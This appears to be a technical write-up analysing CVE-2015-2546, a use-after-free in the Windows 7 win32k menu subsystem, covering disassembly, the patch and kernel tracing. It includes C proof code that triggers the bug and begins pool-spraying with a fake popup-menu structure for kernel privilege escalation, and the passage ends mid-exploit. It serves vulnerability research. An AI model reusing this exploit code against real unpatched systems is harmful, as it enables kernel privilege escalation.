This article will analyze a UAF vulnerability in win32k
Window Manager (User) Subsystem in Windows: CVE-2015-2546. Similar to CVE-2017-0263 analyzed in the previous article, this vulnerability is use-after-free of popup menu tagPOPUPMENU
object as well. The analyzing environment is Windows 7 x86 SP1 basic virtual machine.
0x0 Abstract
This article analyzes the CVE-2015-2546 UAF vulnerability occurring in the Menu Management Component of Window Manager (User) Subsystem. During sending MN_SELECTITEM
message to target menu window object by calling xxxSendMessage
in kernel function xxxMNMouseMove
, the execution flow has the possibility of a user callback. After the call that sends the message returning, function xxxMNMouseMove
uses the address of the target popup menu object held by register edx
, which was stored before sending MN_SELECTITEM
message, instead of retrieving the address of the popup menu tagPOPUPMENU
object associated with the target menu window object from the extra area. Then the function passes the address as the parameter to function xxxMNHideNextHierarchy
, in which the target popup menu object would be accessed.
If the user process has previously constructed menu window objects with special associations and properties through exploiting techniques, and set specific hook procedures, during the time when sending MN_SELECTITEM
message to target menu window object by calling xxxSendMessage
, the execution flow will go back into user context. The exploitation code in the user process would have enough ability to trigger the destroy of target menu window object, so that the associated popup menu object would be freed directly in the kernel; when the execution flow returns to the kernel context, the memory address held by register ebx
has been freed. However, there is a lack of necessary validation before passing the address as a parameter to function xxxMNHideNextHierarchy
, which causes the UAF vulnerability.
After triggering the destroy of target menu window object, through accurate memory layout, exploitation code lets system reallocate a memory block of the same size to occupy the memory area previously freed, in order to fake the new root popup menu object and to fill related fields. The exploitation code fakes a new submenu window object and associated message procedure in user mode address space, and stores the address of the window object into field spwndNextPopup
of the reallocated popup menu object. function xxxMNHideNextHierarchy
will send MN_SELECTITEM
message to the submenu window object pointed to by field spwndNextPopup
of the target popup menu object in the kernel, which makes the execution flow enter the fake message procedure which defined in user mode address space in the kernel directly and execute the kernel exploiting code in the function to achieve kernel exploitation and elevation of privilege.
0x1 Principle
CVE-2015-2546 occurs in kernel function win32k!xxxMNMouseMove
. during the execution of this function, after sending 0x1F0
(MN_SETTIMERTOOPENHIERARCHY
) message to target menu window object, if the returned value is 0
, the system would call function xxxMNHideNextHierarchy
and pass the address of target popup menu tagPOPUPMENU
object held by register ebx
as parameter popupMenu
without any validation.
.text:00139530 push edi ; lParam
.text:00139531 push edi ; wParam
.text:00139532 push 1F0h ; message
.text:00139537 push esi ; pwnd
.text:00139538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D test eax, eax
.text:0013953F jnz short loc_139583
.text:00139541 push ebx ; popupMenu
.text:00139542 call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547 jmp short loc_139583
Target snippet of vulnerability
By contrasting with the patch, it is discovered that the patch added a judgement to the pointer to associated popup menu object of the target menu window object and the value of register ebx
between the statements which sending MN_SETTIMERTOOPENHIERARCHY
message by calling function xxxSendMessage
and calling function xxxMNHideNextHierarchy
.
.text:BF93EC2E push edi ; lParam
.text:BF93EC2F push edi ; wParam
.text:BF93EC30 push 1F0h ; message
.text:BF93EC35 push esi ; pwnd
.text:BF93EC36 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B test eax, eax
.text:BF93EC3D jnz short loc_BF93EC8C
.text:BF93EC3F mov eax, [ebp+pwnd]
.text:BF93EC42 cmp [eax+0B0h], ebx
.text:BF93EC48 jnz short loc_BF93EC8C
.text:BF93EC4A push ebx
.text:BF93EC4B call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50 jmp short loc_BF93EC8C
Target snippet of the patch
In Windows kernel, the displaying of menu objects is accomplished through the special type of window tagWND
object - #32768
(MENUCLASS
) classed menu window object, whose extra area holds the pointer to associated popup menu tagPOPUPMENU
object.
The relation between tagMENUWND and tagPOPUPMENU
When function xxxSendMessage
sending MN_SETTIMERTOOPENHIERARCHY
message, the system receives the message and calls function MNSetTimerToOpenHierarchy
to process the message and returns to the caller with the returned value of this function at the end.
When the execution flow returns to function xxxMNMouseMove
, the system judges the returned value. If the value is 0
, function xxxMNHideNextHierarchy
would be called to close any submenu coming off of target popup menu object.
Since there is a calling statement of xxxSendMessage
to send MN_SETTIMERTOOPENHIERARCHY
message before calling function xxxMNHideNextHierarchy
, it would be caused that the execution calls back into the user process. Therefore, during this time, attackers can trigger the logic to free or reallocate the memory of the target popup menu object in the user process, which causes the target memory area pointed to by parameter popupMenu
to hold uncontrollable data. If the attacking code deliberately constructs the data in the memory block reallocated in the original position, the execution flow in kernel context would possibly enter the exploiatation code located in the user process address space directly when sending message to the submenu window object in function xxxMNHideNextHierarchy
.
0x2 Tracing
In win32k
kernel module, there are two calling statements of function xxxMNMouseMove
from other functions:
- xxxHandleMenuMessages(x,x,x)+2E9
- xxxMenuWindowProc(x,x,x,x)+D1C
One of them is during handling WM_MOUSEMOVE
or WM_NCMOUSEMOVE
message in function xxxHandleMenuMessages
, and the other one is during handling MN_MOUSEMOVE
message in function xxxMenuWindowProc
.
Set a breakpoint via WinDBG for function xxxMNMouseMove
and right click mouse on the desktop area in virtual machine to popup a context menu, then observe the system will call the function by which way under natural conditions, and obtain the stacktrace as below:
# ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a
Natural stacktrace of function xxxMNMouseMove
xxxMNMouseMove
Function xxxMNMouseMove
is used to handle a mouse move to the given point. At the beginning of function xxxMNMouseMove
, the function judges whether the popup menu tagPOPUPMENU
object from parameters is the current root popup menu object, the judges whether the incoming mouse coordinates do change compared to the coordinates previously stored in the current menu state structure. If the condition is not met, function returns directly. Then the function calls function xxxMNFindWindowFromPoint
and passes the pointer to target popup menu object and the new coordinates as parameters, in order to find the window where the coordinate point is located on the screen. If the returned value is the address of a real menu window object, the function takes the window object as the target window object, and passes the number of the menu item where the mouse coordinate point is located on as parameter wParam
to send 0x1E5
(MN_SELECTITEM
) message to target window object to perform the operation of selecting menu items, then receives the returned value as the feedback flag variable.
Before sending MN_SETTIMERTOOPENHIERARCHY
message, function xxxMNMouseMove
judges the value of the feedback flag variable, to make sure that the pointed menu item is associated with an other popup menu (MF_POPUP
) as submenu, and is not disabled (MFS_GRAYED
).
.text:00139517 xor edi, edi
.text:00139519 push edi ; lParam
.text:0013951A push [ebp+cmdItem] ; wParam
.text:0013951D push 1E5h ; message
.text:00139522 push esi ; pwnd
.text:00139523 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528 test al, 10h ; MF_POPUP
.text:0013952A jz short loc_139583
.text:0013952C test al, 3 ; MFS_GRAYED
.text:0013952E jnz short loc_139583
Function judges value of feedback flag variable
Then the function sends MN_SETTIMERTOOPENHIERARCHY
message to target menu window object by calling function xxxSendMessage
to set the timer to open the popup submenu. It means failure of the popup operation if the returned value is zero, then the function calls xxxMNHideNextHierarchy
to close any submenu coming off of this popup.
popupNext = popupMenu->spwndNextPopup;
if ( popupNext )
{
[...]
popupNext = popupMenu->spwndNextPopup;
if ( popupNext != popupMenu->spwndActivePopup )
xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
[...]
}
Snippet of function xxxMNHideNextHierarchy
Function xxxMNHideNextHierarchy
judges whether the menu window object pointed to by field spwndNextPopup
of target popup menu object equals to the one pointed to by field spwndActivePopup
. Fields spwndNextPopup
points to the menu window object of the submenu directly associated with current popup menu object, while field spwndActivePopup
is used to store the currently most active (where the focus of mouse or keyboard lies) menu window object. If different, the function send MN_CLOSEHIERARCHY
to the submenu window object pointed to by field spwndNextPopup
.
Then the function calls xxxSendMessage
to send MN_SELECTITEM
message to the submenu window object and passes 0xFFFFFFFF
as parameter wParam
which represents selecting no item, and finally the message procedure calls function xxxMNSelectItem
to deal with the selecting task.
Brief execution logic of function xxxMNMouseMove
As mentioned above, before calling function xxxSendMessage
to send message to the submenu window object pointed to by field spwndNextPopup
, function xxxMNHideNextHierarchy
lacks the validation of target popup menu object and the submenu window object passed as parameter.
xxxMNFindWindowFromPoint
Popup menu and its popup submenu are associated via field spwndNextPopup
and spwndPrevPopup
of popup menu objects.
Relation between popup menu and popup submenu
As the function name prefix xxx
means, there is code logic to call back into user context in function xxxMNFindWindowFromPoint
. The function judges whether field spwndNextPopup
of the popup menu tagPOPUPMENU
object pointed to by the first parameter points to an existing submenu window object. If so, the function calls xxxSendMessage
to send MN_FINDMENUWINDOWFROMPOINT
message to the submenu window object to delegate the task to find the menu window object where the coordinate point is located on to the submenu window object temporarily.
*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
tlpwndT = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&tlpwndT;
v24 = pwndNextPopup;
++pwndNextPopup->head.cLockObj;
longHit = xxxSendMessage(
popupMenu->spwndNextPopup,
0x1EB, // MN_FINDMENUWINDOWFROMPOINT
(WPARAM)&itemHit,
(unsigned __int16)screenPt | (screenPt >> 16 << 16));
ThreadUnlock1();
if ( IsMFMWFPWindow(longHit) )
longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
if ( longHit )
{
*puIndex = itemHit;
return longHit;
}
}
Snippet of function xxxMNFindWindowFromPoint
When sending message to window object in function xxxSendMessageTimeout
, before calling the object-specified message procedure, the system calls xxxCallHook
function to dispatch the WH_CALLWNDPROC
hook procedures defined previously by user processes as well. This type of hook procedure is invoked before the system sending messages to the target window object.
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
Function xxxSendMessageTimeout calls xxxCallHook
Finally in function xxxMenuWindowProc
the system receives and deals with MN_FINDMENUWINDOWFROMPOINT
message, then passes the popup menu object of the submenu window object as the parameter and continues to call xxxMNFindWindowFromPoint
function.
case 0x1EBu:
pwnd = xxxMNFindWindowFromPoint(popupMenu, wParam, lprc);
if ( IsMFMWFPWindow(pwnd) )
{
if ( !pwnd )
return 0;
lRet = (LRESULT)*pwnd; // pwnd->head.h
}
else
{
lRet = pwnd;
}
return lRet;
Function deals with MN_FINDMENUWINDOWFROMPOINT message
Function xxxSendMessage
returns to caller function xxxMNFindWindowFromPoint
with the user handle of the window object where the coordinate point is located found through the submenu window object. Then the function converts this handle to the object pointer. If the pointer points to a real menu window object, the function returns with this pointer as the returned value. However, if field spwndNextPopup
of target menu window object doesn't point to a submenu window object, or function xxxSendMessage
returns with values such as 0xFFFFFFFB
or 0xFFFFFFFF
which means window object not found, the function would continue executing downward, and perform the lookup task according to the current menu window object that is pointed to by field spwndPopupMenu
of the popup menu object instead.
Brief execution flow of function xxxMNFindWindowFromPoint
xxxMNDestroyHandler
During the time calling function xxxDestroyWindow
to destroy specific menu window object in the kernel, the system calls corresponding message wrap procedure xxxWrapMenuWindowProc
in function xxxFreeWindow
and passes WM_FINALDESTROY
message as parameter according to the value of field fnid
of target window object, and finally function xxxMenuWindowProc
receives this message and performs the task of cleaning up releted data for the target popup menu object.
.text:0008D9B6 lea ecx, [eax+6]
.text:0008D9B9 xor eax, eax
.text:0008D9BB push eax
.text:0008D9BC push eax
.text:0008D9BD push eax
.text:0008D9BE mov eax, _gpsi
.text:0008D9C3 push 70h ; WM_FINALDESTROY
.text:0008D9C5 and ecx, 1Fh
.text:0008D9C8 push esi
.text:0008D9C9 call dword ptr [eax+ecx*4+8]
Function xxxFreeWindow calls message wrap procedure
At the end of function xxxMNDestroyHandler
, the system zeros the pointer to the associated popup menu in the extra area of target menu window tagWND
object; then judges whether member flag bit fDelayedFree
of target popup menu object, according which it is determined to delay the freeing of target popup menu object to when the whole menu ending, or to free target popup menu object immediately.
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
Snipped of function xxxMNDestroyHandler
When a context popup menu object is created in the kernel through a formal path, both field fDelayedFree
of root popup menu object and of sub popup menu object would be set in function xxxTrackPopupMenuEx
or xxxMNOpenHierarchy
by default.
In addition, more system mechanisms related to the vulnerability in this analysis are more detailed in my previous analysis From CVE-2017-0263 To Windows Menu Management Component, if you are interested, please click the link.
0x3 Triggering
By right-clicking on the desktop, and pointing the mouse pointer to a submenu item (like the "New" command) which as the entry of a submenu, trying to make the execution flow reach the location of the vulnerability, I find I can't make it. It is because that the function always executes successfully every time the system sending MN_SETTIMERTOOPENHIERARCHY
message to target menu window object, so that the calling statement of xxxMNHideNextHierarchy
where the vulnerability is located on would never be reached. Therefore, we need to construct own proof code to implement the vulnerability trigger.
Here are the trigger ideas:
#1 Let MN_SETTIMERTOOPENHIERARCHY Message Return Failure
During the execution of function xxxMNMouseMove
, in order to make the call of function xxxSendMessage
sending MN_SETTIMERTOOPENHIERARCHY
return failure value, the most straightforward way is to modify the message procedure of the target menu window object to a custom message procedure in the user process at some point before the calling statement, and to return failure value for this message in the custom message procedure.
#2 Free Target Popup Menu Object
In order to trigger use-after-free (UAF) in the location of the vulnerability, it is necessary to perform the freeing of the target popup menu tagPOPUPMENU
object in due course, which is best to be done during sending MN_SETTIMERTOOPENHIERARCHY
message through function xxxSendMessage
.
As mentioned earlier, before calling the object-specified message procedure in sending message, the system would calls xxxCallHook
function to dispatch WH_CALLWNDPROC
classed hook procedure previously defined by the user process. Therefore, we can trigger the destroy of target window object by setting this kind of hook procedure and calling function DestroyWindow
for target menu window object in the hook procedure.
When calling DestroyWindow
function, the execution flow would enter function xxxDestroyWindow
in the kernel to perform the destroy operation to target menu window object. Finally in kernel function xxxMNDestroyHandler
, if member flag bit fDelayedFree
of target menu window object is unset, the system would call function MNFreePopup
to free target popup menu object immediately.
Idea of freeing target popup menu object
However, when a context popup menu object is being created in the kernel through a formal path, field fDelayedFree
of the root or sub popup menu object would be set in function xxxTrackPopupMenuEx
or xxxMNOpenHierarchy
. So it is necessary to create an independent #32768
(MENUCLASS
) classed window object to be the target exploited object, instead of creating one through a formal path. In this way, the newly created menu window object has an associated popup menu object pointed to by the pointer in its extra area but the field fDelayedFree
of the popup menu tagPOPUPMENU
object has not been set, so that the subsequent freeing operation in function xxxMNDestroyHandler
would be performed immediately.
#3 Let xxxMNFindWindowFromPoint Return Target Window Object
Since the target exploited menu window object is independently created by us, it doesn't have a corresponding menu entity tagMENU
object, in normal conditions function xxxMNFindWindowFromPoint
would never returns the pointer to the target exploited object.
It is known from previous sections that function xxxMNFindWindowFromPoint
judges whether field spwndNextPopup
of the incoming popup menu object from parameters points to an existing submenu window object. If so, the function calls xxxSendMessage
to send MN_FINDMENUWINDOWFROMPOINT
message to the submenu window object to delegate the task to find the menu window object where the coordinate point is located on to the submenu window object temporarily.
In this way, the message procedure field of the submenu window object can be modified to the custom message procedure defined by the user process, in which the handle of the target exploited menu window object would be returned. As thus, function xxxMNFindWindowFromPoint
will receive the handle of the real window object returned by xxxSendMessage
, followed by translating it to the object pointer and returning.
Since the submenu window object is associated with a specific menu, many massages sent to it need to be processed in mesasge procedure xxxMenuWindowProc
, it is necessary to replace the message procedure at a later time, which can be done by setting a WH_CALLWNDPROC
classed hook procedure.
#4 Trigger Mouse Moving Message
In this way, it is needed to create interrelated root menu and submenu in exploitation code.
After the submenu being displayed on the screen, the root menu and submenu window objects has been associated via their own popup menu tagPOPUPMENU
objects. At this moment, calling function SendMessage
to send WM_MOUSEMOVE
message to the root menu window object in the custom event notification procedure defined by the user process can make the system enter function xxxMNMouseMove
in the kernel.
Implementation of Proof Code
In the next moment the concrete proof code will be implemented according to the ideas. Most of the code logic for the proof code is executed in the created separate thread.
Two menu objects with popup flag are created by calling function CreatePopupMenu
in the major function of the proof code. The two objects are associated as well, one of which becomes the submenu of the other.
HMENU hMenuList[2] = { 0 };
hMenuList[0] = CreatePopupMenu();
hMenuList[1] = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);
LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
Proof code of creating root menu and submenu objects
The display of menus needs to have a window that is used to host the menus as the owner window object of them. The normal window object is registered and created, whose handle is stored into global variable hWindowMain
:
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
Proof code of creating owner window object
Then the proof code creates the critical #32768
classed menu window object and stores the handle into hwndFakeMenu
global variable, which will be used as the target exploited object. The message procedure field of this object is modified to the custom xxFakeMenuWindowProc
message procedure defined by the proof code.
hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
L"#32768",
NULL,
WS_POPUP | WS_BORDER,
0,
0,
1,
1,
NULL,
NULL,
NULL,
NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);
Proof code of creating exploited menu window object
The next step is to create a WH_CALLWNDPROC
classed hook procedure, and create an event notification procedure including EVENT_SYSTEM_MENUPOPUPSTART
event.
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
Proof code of creating custom hook procedure and event procedure
Function TrackPopupMenuEx
is called to trigger the display of the first menu object as the root menu on the screen; then the functions such as GetMessage
are used to make current thread enter the message loop state.
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
Proof code of triggering of the first menu object on the screen
During function TrackPopupMenuEx
being called in the user process, the execution flow enters function xxxTrackPopupMenuEx
to handle the popup operation in the kernel at the end. When the task execution completes, the function calls xxxWindowEvent
to dispatch EVENT_SYSTEM_MENUPOPUPSTART
classed event notification, which represents that target popup menu has been displayed on the screen.
After dispatching this event notification, the execution flow enters the custom event notification procedure xxWindowEventProc
defined by us previously. In the procedure, we count the time of entry, and record the value of parameter hwnd
every time it enters. At the first time the execution flow entering the procedure, it means the root popup menu has been displayed on the screen, then the procedure stores the window handle parameter into global varibale hwndRootMenu
and calls function SendMessage
to send WM_LBUTTONDOWN
message to the root popup menu object with the relative coordinates as parameter lParam
which should be in the submenu item area of the current menu, so that the execution flow would enter function xxxMNOpenHierarchy
in the kernel to handle the display of submenu. Similar to before, when the task execution completes, the function calls xxxWindowEvent
to dispatch EVENT_SYSTEM_MENUPOPUPSTART
classed event notification, which represents that target popup menu has been displayed on the screen.
At the second time the execution flow entering the procedure, it means the sub popup menu has been displayed on the screen and the root and sub menu window objects have been associated via their own popup menu tagPOPUPMENU
objects. The procedure stores the window handle parameter into global variable hwndHintMenu
and calls function SendMessage
to send WM_MOUSEMOVE
message to the root menu window object hwndRootMenu
stored at the first time, which makes the execution flow enter function xxxMNMouseMove
in the kernel.
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
switch (iMenuCreated)
{
case 0:
hwndRootMenu = hwnd;
SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
hwndHintMenu = hwnd;
SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
iMenuCreated++;
}
Event notification procedure of proof code
It should be noted that in the two times calling function SendMessage
, parameter lParam
of the function is the relative coordinates of the mouse, the high 16
bits and low 16
bits of the 32
bit data indicate respectively the relative positions of the horizontal and vertical coordinates. Parameter lParam
in the two times can not be the same, otherwise it will cause function xxxMNMouseMove
to return earlier.
During the execution of function xxxMNMouseMove
, the system calls function xxxMNFindWindowFromPoint
to find the window where the coordinate point is located on the screen. Since we have created and associated submenu object for the root menu and the submenu object has been displayed on the screen, at present field spwndNextPopup
of the root popup menu object is pointing to the address of the submenu window object. Function xxxMNFindWindowFromPoint
will send MN_FINDMENUWINDOWFROMPOINT
message to the submenu window object. Before function xxxSendMessageTimeout
calling the object-specified message procedure, the system calls xxxCallHook
to dispatch WH_CALLWNDPROC
classed hook procedures defined by the user process at first, which causes the execution flow enter the custom hook procedure xxWindowHookProc
in the proof code.
In the custom hook procedure, parameter lParam
points to a tagCWPSTRUCT
typed object. The proof code judges the value of field message
of the tagCWPSTRUCT
object. It means that currently it is at the time before calling object-specified message procedure to deliver MN_FINDMENUWINDOWFROMPOINT
message in function xxxSendMessageTimeout
in the kernel if the value is 0x1EB
.
The proof code determines whether the current target window object handle is the previously stored submenu window handle. If so, the message procedure field of the target window object will be modified to the custom xxHintMenuWindowProc
message procedure.
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
{
// MN_FINDMENUWINDOWFROMPOINT
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
Custom hook procedure of proof code
At the time the execution flow returning to function xxxSendMessageTimeout
, the message procedure field has been modified to the custom procedure, so the execution flow will be called back into user context to implement the message delivery. Window object handle hwndFakeMenu
will be returned directly in function xxHintMenuWindowProc
.
LRESULT WINAPI
xxHintMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1EB)
{
return (LRESULT)hwndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
Submenu window object message procedure of proof code
In the kernel function xxxMNFindWindowFromPoint
takes the returned value of function xxxSendMessage
as the found window handle and translates it to the window object pointer, then returns the pointer to the caller function.
After performing a series of judgments and other statements, function xxxMNMouseMove
calls xxxSendMessage
to send MN_SELECTITEM
message to the found target menu window object, which would cause the execution flow to enter the custom message procedure xxFakeMenuWindowProc
of the exploited menu window object defined by the proof code.
In function xxFakeMenuWindowProc
, the proof code judges the value of the message parameter. It means that MN_SELECTITEM
message is being handled if the message is 0x1E5
. Based on the code logic based of kernel functions, proof code will return MF_POPUP
(0x00000010L
) here.
After the judgement of the returned flag varibale, function xxxMNMouseMove
calls xxxSendMessage
to send MN_SETTIMERTOOPENHIERARCHY
message to the target menu window object, which makes the execution flow enter the custom message procedure again.
In function xxFakeMenuWindowProc
, if the message parameter is 0x1F0
, the proof code will return 0
directly. The function in the kernel receives the 'failure' returned value, so it would call downwards function xxxMNHideNextHierarchy
.
LRESULT WINAPI
xxFakeMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
switch (msg)
{
case 0x1E5:
return (LRESULT)MF_POPUP;
case 0x1F0:
return (LRESULT)0;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
Exploited menu window object message procedure of proof code
Before calling the object-specified message procedure to deliver MN_SETTIMERTOOPENHIERARCHY
message, function xxxSendMessageTimeout
calls xxxCallHook
to dispatch hook procedures as well. In the custom hook procedure xxWindowHookProc
, the proof code adds the judgement of field message
:
If the value of message
is 0x1F0
, the proof code calls DestroyWindow
to trigger the destroy of the exploited hwndFakeMenu
menu window object created previously.
if (cwp->message == 0x1F0)
{
DestroyWindow(hwndFakeMenu);
}
Custom hook procedure adds judgement of message
At the moment function xxxDestroyWindow
is called for the target menu window object in the kernel. During the execution, because of the unset member flag bit fDelayFree
, the popup menu tagPOPUPMENU
associated with target menu window object would be destroyed immediately, and the pointer in the extra area of the menu window object would be zeroed. With the nonzero lock count, target menu window object would still remain in the kernel, and would not be freed temporarily.
When the execution flow returning to function xxxMNMouseMove
, target popup menu has been destroyed and freed, bug register ebx
still holds the address of the freed popup menu object. Without any validation of the address, the function calls xxxMNHideNextHierarchy
and passes the address as parameter, which causes the triggering of the use-after-free vulnerability.
Triggering of Use-After-Free
Take a breakpoint at the positon following the calling statement of function xxxSendMessage
to send MN_SETTIMERTOOPENHIERARCHY
message in function xxxMNMouseMove
, then compile the proof code and run it in the testing environment. Observe the data when the breakpoint is hit, it would be discovered that the pointer in the extra area of target menu window object which originally pointed to the associated popup menu has been zeroed, and the memory block pointed to by register ebx
is in a state of Free
:
win32k!xxxMNMouseMove+0x14e:
9481953d 85c0 test eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
ffb6e000 size: 260 previous size: 0 (Allocated) Gla5
ffb6e260 size: 10 previous size: 260 (Allocated) Glnk
ffb6e270 size: 10 previous size: 10 (Allocated) Glnk
ffb6e280 size: a0 previous size: 10 (Allocated) Gla8
*ffb6e320 size: 40 previous size: a0 (Free ) *Uspm Process: 85bc5338
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
[...]
Memory block of target popup menu object is in a state of Free
In the next moment the execution flow enters function xxxMNHideNextHierarchy
and passes the address of target popup menu object as parameter, and sends message to the submenu window object pointed to by field spwndNextPopup
in this function. Since each field of the freed target popup menu object has been zeroed, the function would return directly after the value judgement, and would not cause a BSOD of system.
0x4 Exploitation
The trigger of the use-after-free is achieved in the previous section by writting the proof code. In the custom hook procedure of the proof code, destroy of exploited menu window object is triggered by calling function DestroyWindow
, which causes the system to free the associated popup menu tagPOPUPMENU
object of target menu window object directly in the kernel of which the address is still held by register ebx
.
After function xxxSendMessage
returns, without retrieving the pointer from the extra area of target menu window object and validating the address in the register, function xxxMNMouseMove
passes the address as parameter into function xxxMNHideNextHierarchy
. In function xxxMNHideNextHierarchy
, the system accesses field spwndNextPopup
of the incoming target popup menu object which is in a state of Free at the moment, which results in the use-after-free.
Reoccupation of the Memory Area
The next step is to achieve the exploiation and elevation of privilege of this vulnerability by reallocating new memory block at the position where the original popup menu is located and filling specific data. Similar to the case when analyzing CVE-2017-0263, it would be realized by creating common window objects in batch and setting menu name of window class.
Setting menu name of window class to occupy memory area
Register 256 window classes with random class name to avoid duplication in the exploitation code, and create a common window class via each window class.
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
Exploitation code registers and creates common window objects in batch
Then add the statements of setting menu name of window class for each window object created just now in the case that message
is 0x1F0
in the custom hook procedure xxWindowHookProc
:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd; //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd; //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
